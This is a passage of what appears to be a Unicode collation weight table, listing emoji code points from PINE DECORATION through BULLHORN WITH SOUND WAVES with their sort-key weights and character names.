PINE DECORATION -1F38E ; [*1337.0020.0002] # JAPANESE DOLLS -1F38F ; [*1338.0020.0002] # CARP STREAMER -1F390 ; [*1339.0020.0002] # WIND CHIME -1F391 ; [*133A.0020.0002] # MOON VIEWING CEREMONY -1F392 ; [*133B.0020.0002] # SCHOOL SATCHEL -1F393 ; [*133C.0020.0002] # GRADUATION CAP -1F394 ; [*133D.0020.0002] # HEART WITH TIP ON THE LEFT -1F395 ; [*133E.0020.0002] # BOUQUET OF FLOWERS -1F396 ; [*133F.0020.0002] # MILITARY MEDAL -1F397 ; [*1340.0020.0002] # REMINDER RIBBON -1F398 ; [*1341.0020.0002] # MUSICAL KEYBOARD WITH JACKS -1F399 ; [*1342.0020.0002] # STUDIO MICROPHONE -1F39A ; [*1343.0020.0002] # LEVEL SLIDER -1F39B ; [*1344.0020.0002] # CONTROL KNOBS -1F39C ; [*1345.0020.0002] # BEAMED ASCENDING MUSICAL NOTES -1F39D ; [*1346.0020.0002] # BEAMED DESCENDING MUSICAL NOTES -1F39E ; [*1347.0020.0002] # FILM FRAMES -1F39F ; [*1348.0020.0002] # ADMISSION TICKETS -1F3A0 ; [*1349.0020.0002] # CAROUSEL HORSE -1F3A1 ; [*134A.0020.0002] # FERRIS WHEEL -1F3A2 ; [*134B.0020.0002] # ROLLER COASTER -1F3A3 ; [*134C.0020.0002] # FISHING POLE AND FISH -1F3A4 ; [*134D.0020.0002] # MICROPHONE -1F3A5 ; [*134E.0020.0002] # MOVIE CAMERA -1F3A6 ; [*134F.0020.0002] # CINEMA -1F3A7 ; [*1350.0020.0002] # HEADPHONE -1F3A8 ; [*1351.0020.0002] # ARTIST PALETTE -1F3A9 ; [*1352.0020.0002] # TOP HAT -1F3AA ; [*1353.0020.0002] # CIRCUS TENT -1F3AB ; [*1354.0020.0002] # TICKET -1F3AC ; [*1355.0020.0002] # CLAPPER BOARD -1F3AD ; [*1356.0020.0002] # PERFORMING ARTS -1F3AE ; [*1357.0020.0002] # VIDEO GAME -1F3AF ; [*1358.0020.0002] # DIRECT HIT -1F3B0 ; [*1359.0020.0002] # SLOT MACHINE -1F3B1 ; [*135A.0020.0002] # BILLIARDS -1F3B2 ; [*135B.0020.0002] # GAME DIE -1F3B3 ; [*135C.0020.0002] # BOWLING -1F3B4 ; [*135D.0020.0002] # FLOWER PLAYING CARDS -1F3B5 ; [*135E.0020.0002] # MUSICAL NOTE -1F3B6 ; [*135F.0020.0002] # MULTIPLE MUSICAL NOTES -1F3B7 ; [*1360.0020.0002] # SAXOPHONE -1F3B8 ; [*1361.0020.0002] # GUITAR -1F3B9 ; [*1362.0020.0002] # MUSICAL KEYBOARD -1F3BA ; [*1363.0020.0002] # TRUMPET -1F3BB ; [*1364.0020.0002] # VIOLIN -1F3BC ; [*1365.0020.0002] # MUSICAL SCORE -1F3BD ; [*1366.0020.0002] # RUNNING SHIRT WITH SASH -1F3BE ; [*1367.0020.0002] # TENNIS RACQUET AND BALL -1F3BF ; [*1368.0020.0002] # SKI AND SKI BOOT -1F3C0 ; [*1369.0020.0002] # BASKETBALL AND HOOP -1F3C1 ; [*136A.0020.0002] # CHEQUERED FLAG -1F3C2 ; [*136B.0020.0002] # SNOWBOARDER -1F3C3 ; [*136C.0020.0002] # RUNNER -1F3C4 ; [*136D.0020.0002] # SURFER -1F3C5 ; [*136E.0020.0002] # SPORTS MEDAL -1F3C6 ; [*136F.0020.0002] # TROPHY -1F3C7 ; [*1370.0020.0002] # HORSE RACING -1F3C8 ; [*1371.0020.0002] # AMERICAN FOOTBALL -1F3C9 ; [*1372.0020.0002] # RUGBY FOOTBALL -1F3CA ; [*1373.0020.0002] # SWIMMER -1F3CB ; [*1374.0020.0002] # WEIGHT LIFTER -1F3CC ; [*1375.0020.0002] # GOLFER -1F3CD ; [*1376.0020.0002] # RACING MOTORCYCLE -1F3CE ; [*1377.0020.0002] # RACING CAR -1F3CF ; [*1378.0020.0002] # CRICKET BAT AND BALL -1F3D0 ; [*1379.0020.0002] # VOLLEYBALL -1F3D1 ; [*137A.0020.0002] # FIELD HOCKEY STICK AND BALL -1F3D2 ; [*137B.0020.0002] # ICE HOCKEY STICK AND PUCK -1F3D3 ; [*137C.0020.0002] # TABLE TENNIS PADDLE AND BALL -1F3D4 ; [*137D.0020.0002] # SNOW CAPPED MOUNTAIN -1F3D5 ; [*137E.0020.0002] # CAMPING -1F3D6 ; [*137F.0020.0002] # BEACH WITH UMBRELLA -1F3D7 ; [*1380.0020.0002] # BUILDING CONSTRUCTION -1F3D8 ; [*1381.0020.0002] # HOUSE BUILDINGS -1F3D9 ; [*1382.0020.0002] # CITYSCAPE -1F3DA ; [*1383.0020.0002] # DERELICT HOUSE BUILDING -1F3DB ; [*1384.0020.0002] # CLASSICAL BUILDING -1F3DC ; [*1385.0020.0002] # DESERT -1F3DD ; [*1386.0020.0002] # DESERT ISLAND -1F3DE ; [*1387.0020.0002] # NATIONAL PARK -1F3DF ; [*1388.0020.0002] # STADIUM -1F3E0 ; [*1389.0020.0002] # HOUSE BUILDING -1F3E1 ; [*138A.0020.0002] # HOUSE WITH GARDEN -1F3E2 ; [*138B.0020.0002] # OFFICE BUILDING -1F3E3 ; [*138C.0020.0002] # JAPANESE POST OFFICE -1F3E4 ; [*138D.0020.0002] # EUROPEAN POST OFFICE -1F3E5 ; [*138E.0020.0002] # HOSPITAL -1F3E6 ; [*138F.0020.0002] # BANK -1F3E7 ; [*1390.0020.0002] # AUTOMATED TELLER MACHINE -1F3E8 ; [*1391.0020.0002] # HOTEL -1F3E9 ; [*1392.0020.0002] # LOVE HOTEL -1F3EA ; [*1393.0020.0002] # CONVENIENCE STORE -1F3EB ; [*1394.0020.0002] # SCHOOL -1F3EC ; [*1395.0020.0002] # DEPARTMENT STORE -1F3ED ; [*1396.0020.0002] # FACTORY -1F3EE ; [*1397.0020.0002] # IZAKAYA LANTERN -1F3EF ; [*1398.0020.0002] # JAPANESE CASTLE -1F3F0 ; [*1399.0020.0002] # EUROPEAN CASTLE -1F3F1 ; [*139A.0020.0002] # WHITE PENNANT -1F3F2 ; [*139B.0020.0002] # BLACK PENNANT -1F3F3 ; [*139C.0020.0002] # WAVING WHITE FLAG -1F3F4 ; [*139D.0020.0002] # WAVING BLACK FLAG -1F3F5 ; [*139E.0020.0002] # ROSETTE -1F3F6 ; [*139F.0020.0002] # BLACK ROSETTE -1F3F7 ; [*13A0.0020.0002] # LABEL -1F3F8 ; [*13A1.0020.0002] # BADMINTON RACQUET AND SHUTTLECOCK -1F3F9 ; [*13A2.0020.0002] # BOW AND ARROW -1F3FA ; [*13A3.0020.0002] # AMPHORA -1F3FB ; [*13A4.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-1-2 -1F3FC ; [*13A5.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-3 -1F3FD ; [*13A6.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-4 -1F3FE ; [*13A7.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-5 -1F3FF ; [*13A8.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-6 -1F400 ; [*13A9.0020.0002] # RAT -1F401 ; [*13AA.0020.0002] # MOUSE -1F402 ; [*13AB.0020.0002] # OX -1F403 ; [*13AC.0020.0002] # WATER BUFFALO -1F404 ; [*13AD.0020.0002] # COW -1F405 ; [*13AE.0020.0002] # TIGER -1F406 ; [*13AF.0020.0002] # LEOPARD -1F407 ; [*13B0.0020.0002] # RABBIT -1F408 ; [*13B1.0020.0002] # CAT -1F409 ; [*13B2.0020.0002] # DRAGON -1F40A ; [*13B3.0020.0002] # CROCODILE -1F40B ; [*13B4.0020.0002] # WHALE -1F40C ; [*13B5.0020.0002] # SNAIL -1F40D ; [*13B6.0020.0002] # SNAKE -1F40E ; [*13B7.0020.0002] # HORSE -1F40F ; [*13B8.0020.0002] # RAM -1F410 ; [*13B9.0020.0002] # GOAT -1F411 ; [*13BA.0020.0002] # SHEEP -1F412 ; [*13BB.0020.0002] # MONKEY -1F413 ; [*13BC.0020.0002] # ROOSTER -1F414 ; [*13BD.0020.0002] # CHICKEN -1F415 ; [*13BE.0020.0002] # DOG -1F416 ; [*13BF.0020.0002] # PIG -1F417 ; [*13C0.0020.0002] # BOAR -1F418 ; [*13C1.0020.0002] # ELEPHANT -1F419 ; [*13C2.0020.0002] # OCTOPUS -1F41A ; [*13C3.0020.0002] # SPIRAL SHELL -1F41B ; [*13C4.0020.0002] # BUG -1F41C ; [*13C5.0020.0002] # ANT -1F41D ; [*13C6.0020.0002] # HONEYBEE -1F41E ; [*13C7.0020.0002] # LADY BEETLE -1F41F ; [*13C8.0020.0002] # FISH -1F420 ; [*13C9.0020.0002] # TROPICAL FISH -1F421 ; [*13CA.0020.0002] # BLOWFISH -1F422 ; [*13CB.0020.0002] # TURTLE -1F423 ; [*13CC.0020.0002] # HATCHING CHICK -1F424 ; [*13CD.0020.0002] # BABY CHICK -1F425 ; [*13CE.0020.0002] # FRONT-FACING BABY CHICK -1F426 ; [*13CF.0020.0002] # BIRD -1F427 ; [*13D0.0020.0002] # PENGUIN -1F428 ; [*13D1.0020.0002] # KOALA -1F429 ; [*13D2.0020.0002] # POODLE -1F42A ; [*13D3.0020.0002] # DROMEDARY CAMEL -1F42B ; [*13D4.0020.0002] # BACTRIAN CAMEL -1F42C ; [*13D5.0020.0002] # DOLPHIN -1F42D ; [*13D6.0020.0002] # MOUSE FACE -1F42E ; [*13D7.0020.0002] # COW FACE -1F42F ; [*13D8.0020.0002] # TIGER FACE -1F430 ; [*13D9.0020.0002] # RABBIT FACE -1F431 ; [*13DA.0020.0002] # CAT FACE -1F432 ; [*13DB.0020.0002] # DRAGON FACE -1F433 ; [*13DC.0020.0002] # SPOUTING WHALE -1F434 ; [*13DD.0020.0002] # HORSE FACE -1F435 ; [*13DE.0020.0002] # MONKEY FACE -1F436 ; [*13DF.0020.0002] # DOG FACE -1F437 ; [*13E0.0020.0002] # PIG FACE -1F438 ; [*13E1.0020.0002] # FROG FACE -1F439 ; [*13E2.0020.0002] # HAMSTER FACE -1F43A ; [*13E3.0020.0002] # WOLF FACE -1F43B ; [*13E4.0020.0002] # BEAR FACE -1F43C ; [*13E5.0020.0002] # PANDA FACE -1F43D ; [*13E6.0020.0002] # PIG NOSE -1F43E ; [*13E7.0020.0002] # PAW PRINTS -1F43F ; [*13E8.0020.0002] # CHIPMUNK -1F440 ; [*13E9.0020.0002] # EYES -1F441 ; [*13EA.0020.0002] # EYE -1F442 ; [*13EB.0020.0002] # EAR -1F443 ; [*13EC.0020.0002] # NOSE -1F444 ; [*13ED.0020.0002] # MOUTH -1F445 ; [*13EE.0020.0002] # TONGUE -1F446 ; [*13EF.0020.0002] # WHITE UP POINTING BACKHAND INDEX -1F447 ; [*13F0.0020.0002] # WHITE DOWN POINTING BACKHAND INDEX -1F448 ; [*13F1.0020.0002] # WHITE LEFT POINTING BACKHAND INDEX -1F449 ; [*13F2.0020.0002] # WHITE RIGHT POINTING BACKHAND INDEX -1F44A ; [*13F3.0020.0002] # FISTED HAND SIGN -1F44B ; [*13F4.0020.0002] # WAVING HAND SIGN -1F44C ; [*13F5.0020.0002] # OK HAND SIGN -1F44D ; [*13F6.0020.0002] # THUMBS UP SIGN -1F44E ; [*13F7.0020.0002] # THUMBS DOWN SIGN -1F44F ; [*13F8.0020.0002] # CLAPPING HANDS SIGN -1F450 ; [*13F9.0020.0002] # OPEN HANDS SIGN -1F451 ; [*13FA.0020.0002] # CROWN -1F452 ; [*13FB.0020.0002] # WOMANS HAT -1F453 ; [*13FC.0020.0002] # EYEGLASSES -1F454 ; [*13FD.0020.0002] # NECKTIE -1F455 ; [*13FE.0020.0002] # T-SHIRT -1F456 ; [*13FF.0020.0002] # JEANS -1F457 ; [*1400.0020.0002] # DRESS -1F458 ; [*1401.0020.0002] # KIMONO -1F459 ; [*1402.0020.0002] # BIKINI -1F45A ; [*1403.0020.0002] # WOMANS CLOTHES -1F45B ; [*1404.0020.0002] # PURSE -1F45C ; [*1405.0020.0002] # HANDBAG -1F45D ; [*1406.0020.0002] # POUCH -1F45E ; [*1407.0020.0002] # MANS SHOE -1F45F ; [*1408.0020.0002] # ATHLETIC SHOE -1F460 ; [*1409.0020.0002] # HIGH-HEELED SHOE -1F461 ; [*140A.0020.0002] # WOMANS SANDAL -1F462 ; [*140B.0020.0002] # WOMANS BOOTS -1F463 ; [*140C.0020.0002] # FOOTPRINTS -1F464 ; [*140D.0020.0002] # BUST IN SILHOUETTE -1F465 ; [*140E.0020.0002] # BUSTS IN SILHOUETTE -1F466 ; [*140F.0020.0002] # BOY -1F467 ; [*1410.0020.0002] # GIRL -1F468 ; [*1411.0020.0002] # MAN -1F469 ; [*1412.0020.0002] # WOMAN -1F46A ; [*1413.0020.0002] # FAMILY -1F46B ; [*1414.0020.0002] # MAN AND WOMAN HOLDING HANDS -1F46C ; [*1415.0020.0002] # TWO MEN HOLDING HANDS -1F46D ; [*1416.0020.0002] # TWO WOMEN HOLDING HANDS -1F46E ; [*1417.0020.0002] # POLICE OFFICER -1F46F ; [*1418.0020.0002] # WOMAN WITH BUNNY EARS -1F470 ; [*1419.0020.0002] # BRIDE WITH VEIL -1F471 ; [*141A.0020.0002] # PERSON WITH BLOND HAIR -1F472 ; [*141B.0020.0002] # MAN WITH GUA PI MAO -1F473 ; [*141C.0020.0002] # MAN WITH TURBAN -1F474 ; [*141D.0020.0002] # OLDER MAN -1F475 ; [*141E.0020.0002] # OLDER WOMAN -1F476 ; [*141F.0020.0002] # BABY -1F477 ; [*1420.0020.0002] # CONSTRUCTION WORKER -1F478 ; [*1421.0020.0002] # PRINCESS -1F479 ; [*1422.0020.0002] # JAPANESE OGRE -1F47A ; [*1423.0020.0002] # JAPANESE GOBLIN -1F47B ; [*1424.0020.0002] # GHOST -1F47C ; [*1425.0020.0002] # BABY ANGEL -1F47D ; [*1426.0020.0002] # EXTRATERRESTRIAL ALIEN -1F47E ; [*1427.0020.0002] # ALIEN MONSTER -1F47F ; [*1428.0020.0002] # IMP -1F480 ; [*1429.0020.0002] # SKULL -1F481 ; [*142A.0020.0002] # INFORMATION DESK PERSON -1F482 ; [*142B.0020.0002] # GUARDSMAN -1F483 ; [*142C.0020.0002] # DANCER -1F484 ; [*142D.0020.0002] # LIPSTICK -1F485 ; [*142E.0020.0002] # NAIL POLISH -1F486 ; [*142F.0020.0002] # FACE MASSAGE -1F487 ; [*1430.0020.0002] # HAIRCUT -1F488 ; [*1431.0020.0002] # BARBER POLE -1F489 ; [*1432.0020.0002] # SYRINGE -1F48A ; [*1433.0020.0002] # PILL -1F48B ; [*1434.0020.0002] # KISS MARK -1F48C ; [*1435.0020.0002] # LOVE LETTER -1F48D ; [*1436.0020.0002] # RING -1F48E ; [*1437.0020.0002] # GEM STONE -1F48F ; [*1438.0020.0002] # KISS -1F490 ; [*1439.0020.0002] # BOUQUET -1F491 ; [*143A.0020.0002] # COUPLE WITH HEART -1F492 ; [*143B.0020.0002] # WEDDING -1F493 ; [*143C.0020.0002] # BEATING HEART -1F494 ; [*143D.0020.0002] # BROKEN HEART -1F495 ; [*143E.0020.0002] # TWO HEARTS -1F496 ; [*143F.0020.0002] # SPARKLING HEART -1F497 ; [*1440.0020.0002] # GROWING HEART -1F498 ; [*1441.0020.0002] # HEART WITH ARROW -1F499 ; [*1442.0020.0002] # BLUE HEART -1F49A ; [*1443.0020.0002] # GREEN HEART -1F49B ; [*1444.0020.0002] # YELLOW HEART -1F49C ; [*1445.0020.0002] # PURPLE HEART -1F49D ; [*1446.0020.0002] # HEART WITH RIBBON -1F49E ; [*1447.0020.0002] # REVOLVING HEARTS -1F49F ; [*1448.0020.0002] # HEART DECORATION -1F4A0 ; [*1449.0020.0002] # DIAMOND SHAPE WITH A DOT INSIDE -1F4A1 ; [*144A.0020.0002] # ELECTRIC LIGHT BULB -1F4A2 ; [*144B.0020.0002] # ANGER SYMBOL -1F4A3 ; [*144C.0020.0002] # BOMB -1F4A4 ; [*144D.0020.0002] # SLEEPING SYMBOL -1F4A5 ; [*144E.0020.0002] # COLLISION SYMBOL -1F4A6 ; [*144F.0020.0002] # SPLASHING SWEAT SYMBOL -1F4A7 ; [*1450.0020.0002] # DROPLET -1F4A8 ; [*1451.0020.0002] # DASH SYMBOL -1F4A9 ; [*1452.0020.0002] # PILE OF POO -1F4AA ; [*1453.0020.0002] # FLEXED BICEPS -1F4AB ; [*1454.0020.0002] # DIZZY SYMBOL -1F4AC ; [*1455.0020.0002] # SPEECH BALLOON -1F4AD ; [*1456.0020.0002] # THOUGHT BALLOON -1F4AE ; [*1457.0020.0002] # WHITE FLOWER -1F4AF ; [*1458.0020.0002] # HUNDRED POINTS SYMBOL -1F4B0 ; [*1459.0020.0002] # MONEY BAG -1F4B1 ; [*145A.0020.0002] # CURRENCY EXCHANGE -1F4B2 ; [*145B.0020.0002] # HEAVY DOLLAR SIGN -1F4B3 ; [*145C.0020.0002] # CREDIT CARD -1F4B4 ; [*145D.0020.0002] # BANKNOTE WITH YEN SIGN -1F4B5 ; [*145E.0020.0002] # BANKNOTE WITH DOLLAR SIGN -1F4B6 ; [*145F.0020.0002] # BANKNOTE WITH EURO SIGN -1F4B7 ; [*1460.0020.0002] # BANKNOTE WITH POUND SIGN -1F4B8 ; [*1461.0020.0002] # MONEY WITH WINGS -1F4B9 ; [*1462.0020.0002] # CHART WITH UPWARDS TREND AND YEN SIGN -1F4BA ; [*1463.0020.0002] # SEAT -1F4BB ; [*1464.0020.0002] # PERSONAL COMPUTER -1F4BC ; [*1465.0020.0002] # BRIEFCASE -1F4BD ; [*1466.0020.0002] # MINIDISC -1F4BE ; [*1467.0020.0002] # FLOPPY DISK -1F4BF ; [*1468.0020.0002] # OPTICAL DISC -1F4C0 ; [*1469.0020.0002] # DVD -1F4C1 ; [*146A.0020.0002] # FILE FOLDER -1F4C2 ; [*146B.0020.0002] # OPEN FILE FOLDER -1F4C3 ; [*146C.0020.0002] # PAGE WITH CURL -1F4C4 ; [*146D.0020.0002] # PAGE FACING UP -1F4C5 ; [*146E.0020.0002] # CALENDAR -1F4C6 ; [*146F.0020.0002] # TEAR-OFF CALENDAR -1F4C7 ; [*1470.0020.0002] # CARD INDEX -1F4C8 ; [*1471.0020.0002] # CHART WITH UPWARDS TREND -1F4C9 ; [*1472.0020.0002] # CHART WITH DOWNWARDS TREND -1F4CA ; [*1473.0020.0002] # BAR CHART -1F4CB ; [*1474.0020.0002] # CLIPBOARD -1F4CC ; [*1475.0020.0002] # PUSHPIN -1F4CD ; [*1476.0020.0002] # ROUND PUSHPIN -1F4CE ; [*1477.0020.0002] # PAPERCLIP -1F4CF ; [*1478.0020.0002] # STRAIGHT RULER -1F4D0 ; [*1479.0020.0002] # TRIANGULAR RULER -1F4D1 ; [*147A.0020.0002] # BOOKMARK TABS -1F4D2 ; [*147B.0020.0002] # LEDGER -1F4D3 ; [*147C.0020.0002] # NOTEBOOK -1F4D4 ; [*147D.0020.0002] # NOTEBOOK WITH DECORATIVE COVER -1F4D5 ; [*147E.0020.0002] # CLOSED BOOK -1F4D6 ; [*147F.0020.0002] # OPEN BOOK -1F4D7 ; [*1480.0020.0002] # GREEN BOOK -1F4D8 ; [*1481.0020.0002] # BLUE BOOK -1F4D9 ; [*1482.0020.0002] # ORANGE BOOK -1F4DA ; [*1483.0020.0002] # BOOKS -1F4DB ; [*1484.0020.0002] # NAME BADGE -1F4DC ; [*1485.0020.0002] # SCROLL -1F4DD ; [*1486.0020.0002] # MEMO -1F4DE ; [*1487.0020.0002] # TELEPHONE RECEIVER -1F4DF ; [*1488.0020.0002] # PAGER -1F4E0 ; [*1489.0020.0002] # FAX MACHINE -1F4E1 ; [*148A.0020.0002] # SATELLITE ANTENNA -1F4E2 ; [*148B.0020.0002] # PUBLIC ADDRESS LOUDSPEAKER -1F4E3 ; [*148C.0020.0002] # CHEERING MEGAPHONE -1F4E4 ; [*148D.0020.0002] # OUTBOX TRAY -1F4E5 ; [*148E.0020.0002] # INBOX TRAY -1F4E6 ; [*148F.0020.0002] # PACKAGE -1F4E7 ; [*1490.0020.0002] # E-MAIL SYMBOL -1F4E8 ; [*1491.0020.0002] # INCOMING ENVELOPE -1F4E9 ; [*1492.0020.0002] # ENVELOPE WITH DOWNWARDS ARROW ABOVE -1F4EA ; [*1493.0020.0002] # CLOSED MAILBOX WITH LOWERED FLAG -1F4EB ; [*1494.0020.0002] # CLOSED MAILBOX WITH RAISED FLAG -1F4EC ; [*1495.0020.0002] # OPEN MAILBOX WITH RAISED FLAG -1F4ED ; [*1496.0020.0002] # OPEN MAILBOX WITH LOWERED FLAG -1F4EE ; [*1497.0020.0002] # POSTBOX -1F4EF ; [*1498.0020.0002] # POSTAL HORN -1F4F0 ; [*1499.0020.0002] # NEWSPAPER -1F4F1 ; [*149A.0020.0002] # MOBILE PHONE -1F4F2 ; [*149B.0020.0002] # MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT -1F4F3 ; [*149C.0020.0002] # VIBRATION MODE -1F4F4 ; [*149D.0020.0002] # MOBILE PHONE OFF -1F4F5 ; [*149E.0020.0002] # NO MOBILE PHONES -1F4F6 ; [*149F.0020.0002] # ANTENNA WITH BARS -1F4F7 ; [*14A0.0020.0002] # CAMERA -1F4F8 ; [*14A1.0020.0002] # CAMERA WITH FLASH -1F4F9 ; [*14A2.0020.0002] # VIDEO CAMERA -1F4FA ; [*14A3.0020.0002] # TELEVISION -1F4FB ; [*14A4.0020.0002] # RADIO -1F4FC ; [*14A5.0020.0002] # VIDEOCASSETTE -1F4FD ; [*14A6.0020.0002] # FILM PROJECTOR -1F4FE ; [*14A7.0020.0002] # PORTABLE STEREO -1F4FF ; [*14A8.0020.0002] # PRAYER BEADS -1F500 ; [*14A9.0020.0002] # TWISTED RIGHTWARDS ARROWS -1F501 ; [*14AA.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS -1F502 ; [*14AB.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY -1F503 ; [*14AC.0020.0002] # CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS -1F504 ; [*14AD.0020.0002] # ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS -1F505 ; [*14AE.0020.0002] # LOW BRIGHTNESS SYMBOL -1F506 ; [*14AF.0020.0002] # HIGH BRIGHTNESS SYMBOL -1F507 ; [*14B0.0020.0002] # SPEAKER WITH CANCELLATION STROKE -1F508 ; [*14B1.0020.0002] # SPEAKER -1F509 ; [*14B2.0020.0002] # SPEAKER WITH ONE SOUND WAVE -1F50A ; [*14B3.0020.0002] # SPEAKER WITH THREE SOUND WAVES -1F50B ; [*14B4.0020.0002] # BATTERY -1F50C ; [*14B5.0020.0002] # ELECTRIC PLUG -1F50D ; [*14B6.0020.0002] # LEFT-POINTING MAGNIFYING GLASS -1F50E ; [*14B7.0020.0002] # RIGHT-POINTING MAGNIFYING GLASS -1F50F ; [*14B8.0020.0002] # LOCK WITH INK PEN -1F510 ; [*14B9.0020.0002] # CLOSED LOCK WITH KEY -1F511 ; [*14BA.0020.0002] # KEY -1F512 ; [*14BB.0020.0002] # LOCK -1F513 ; [*14BC.0020.0002] # OPEN LOCK -1F514 ; [*14BD.0020.0002] # BELL -1F515 ; [*14BE.0020.0002] # BELL WITH CANCELLATION STROKE -1F516 ; [*14BF.0020.0002] # BOOKMARK -1F517 ; [*14C0.0020.0002] # LINK SYMBOL -1F518 ; [*14C1.0020.0002] # RADIO BUTTON -1F519 ; [*14C2.0020.0002] # BACK WITH LEFTWARDS ARROW ABOVE -1F51A ; [*14C3.0020.0002] # END WITH LEFTWARDS ARROW ABOVE -1F51B ; [*14C4.0020.0002] # ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE -1F51C ; [*14C5.0020.0002] # SOON WITH RIGHTWARDS ARROW ABOVE -1F51D ; [*14C6.0020.0002] # TOP WITH UPWARDS ARROW ABOVE -1F51E ; [*14C7.0020.0002] # NO ONE UNDER EIGHTEEN SYMBOL -1F51F ; [*14C8.0020.0002] # KEYCAP TEN -1F520 ; [*14C9.0020.0002] # INPUT SYMBOL FOR LATIN CAPITAL LETTERS -1F521 ; [*14CA.0020.0002] # INPUT SYMBOL FOR LATIN SMALL LETTERS -1F522 ; [*14CB.0020.0002] # INPUT SYMBOL FOR NUMBERS -1F523 ; [*14CC.0020.0002] # INPUT SYMBOL FOR SYMBOLS -1F524 ; [*14CD.0020.0002] # INPUT SYMBOL FOR LATIN LETTERS -1F525 ; [*14CE.0020.0002] # FIRE -1F526 ; [*14CF.0020.0002] # ELECTRIC TORCH -1F527 ; [*14D0.0020.0002] # WRENCH -1F528 ; [*14D1.0020.0002] # HAMMER -1F529 ; [*14D2.0020.0002] # NUT AND BOLT -1F52A ; [*14D3.0020.0002] # HOCHO -1F52B ; [*14D4.0020.0002] # PISTOL -1F52C ; [*14D5.0020.0002] # MICROSCOPE -1F52D ; [*14D6.0020.0002] # TELESCOPE -1F52E ; [*14D7.0020.0002] # CRYSTAL BALL -1F52F ; [*14D8.0020.0002] # SIX POINTED STAR WITH MIDDLE DOT -1F530 ; [*14D9.0020.0002] # JAPANESE SYMBOL FOR BEGINNER -1F531 ; [*14DA.0020.0002] # TRIDENT EMBLEM -1F532 ; [*14DB.0020.0002] # BLACK SQUARE BUTTON -1F533 ; [*14DC.0020.0002] # WHITE SQUARE BUTTON -1F534 ; [*14DD.0020.0002] # LARGE RED CIRCLE -1F535 ; [*14DE.0020.0002] # LARGE BLUE CIRCLE -1F536 ; [*14DF.0020.0002] # LARGE ORANGE DIAMOND -1F537 ; [*14E0.0020.0002] # LARGE BLUE DIAMOND -1F538 ; [*14E1.0020.0002] # SMALL ORANGE DIAMOND -1F539 ; [*14E2.0020.0002] # SMALL BLUE DIAMOND -1F53A ; [*14E3.0020.0002] # UP-POINTING RED TRIANGLE -1F53B ; [*14E4.0020.0002] # DOWN-POINTING RED TRIANGLE -1F53C ; [*14E5.0020.0002] # UP-POINTING SMALL RED TRIANGLE -1F53D ; [*14E6.0020.0002] # DOWN-POINTING SMALL RED TRIANGLE -1F53E ; [*14E7.0020.0002] # LOWER RIGHT SHADOWED WHITE CIRCLE -1F53F ; [*14E8.0020.0002] # UPPER RIGHT SHADOWED WHITE CIRCLE -1F540 ; [*14E9.0020.0002] # CIRCLED CROSS POMMEE -1F541 ; [*14EA.0020.0002] # CROSS POMMEE WITH HALF-CIRCLE BELOW -1F542 ; [*14EB.0020.0002] # CROSS POMMEE -1F543 ; [*14EC.0020.0002] # NOTCHED LEFT SEMICIRCLE WITH THREE DOTS -1F544 ; [*14ED.0020.0002] # NOTCHED RIGHT SEMICIRCLE WITH THREE DOTS -1F545 ; [*14EE.0020.0002] # SYMBOL FOR MARKS CHAPTER -1F546 ; [*14EF.0020.0002] # WHITE LATIN CROSS -1F547 ; [*14F0.0020.0002] # HEAVY LATIN CROSS -1F548 ; [*14F1.0020.0002] # CELTIC CROSS -1F549 ; [*14F2.0020.0002] # OM SYMBOL -1F54A ; [*14F3.0020.0002] # DOVE OF PEACE -1F54B ; [*14F4.0020.0002] # KAABA -1F54C ; [*14F5.0020.0002] # MOSQUE -1F54D ; [*14F6.0020.0002] # SYNAGOGUE -1F54E ; [*14F7.0020.0002] # MENORAH WITH NINE BRANCHES -1F54F ; [*14F8.0020.0002] # BOWL OF HYGIEIA -1F550 ; [*14F9.0020.0002] # CLOCK FACE ONE OCLOCK -1F551 ; [*14FA.0020.0002] # CLOCK FACE TWO OCLOCK -1F552 ; [*14FB.0020.0002] # CLOCK FACE THREE OCLOCK -1F553 ; [*14FC.0020.0002] # CLOCK FACE FOUR OCLOCK -1F554 ; [*14FD.0020.0002] # CLOCK FACE FIVE OCLOCK -1F555 ; [*14FE.0020.0002] # CLOCK FACE SIX OCLOCK -1F556 ; [*14FF.0020.0002] # CLOCK FACE SEVEN OCLOCK -1F557 ; [*1500.0020.0002] # CLOCK FACE EIGHT OCLOCK -1F558 ; [*1501.0020.0002] # CLOCK FACE NINE OCLOCK -1F559 ; [*1502.0020.0002] # CLOCK FACE TEN OCLOCK -1F55A ; [*1503.0020.0002] # CLOCK FACE ELEVEN OCLOCK -1F55B ; [*1504.0020.0002] # CLOCK FACE TWELVE OCLOCK -1F55C ; [*1505.0020.0002] # CLOCK FACE ONE-THIRTY -1F55D ; [*1506.0020.0002] # CLOCK FACE TWO-THIRTY -1F55E ; [*1507.0020.0002] # CLOCK FACE THREE-THIRTY -1F55F ; [*1508.0020.0002] # CLOCK FACE FOUR-THIRTY -1F560 ; [*1509.0020.0002] # CLOCK FACE FIVE-THIRTY -1F561 ; [*150A.0020.0002] # CLOCK FACE SIX-THIRTY -1F562 ; [*150B.0020.0002] # CLOCK FACE SEVEN-THIRTY -1F563 ; [*150C.0020.0002] # CLOCK FACE EIGHT-THIRTY -1F564 ; [*150D.0020.0002] # CLOCK FACE NINE-THIRTY -1F565 ; [*150E.0020.0002] # CLOCK FACE TEN-THIRTY -1F566 ; [*150F.0020.0002] # CLOCK FACE ELEVEN-THIRTY -1F567 ; [*1510.0020.0002] # CLOCK FACE TWELVE-THIRTY -1F568 ; [*1511.0020.0002] # RIGHT SPEAKER -1F569 ; [*1512.0020.0002] # RIGHT SPEAKER WITH ONE SOUND WAVE -1F56A ; [*1513.0020.0002] # RIGHT SPEAKER WITH THREE SOUND WAVES -1F56B ; [*1514.0020.0002] # BULLHORN -1F56C ; [*1515.0020.0002] # BULLHORN WITH SOUND WAVES -1F56D ; 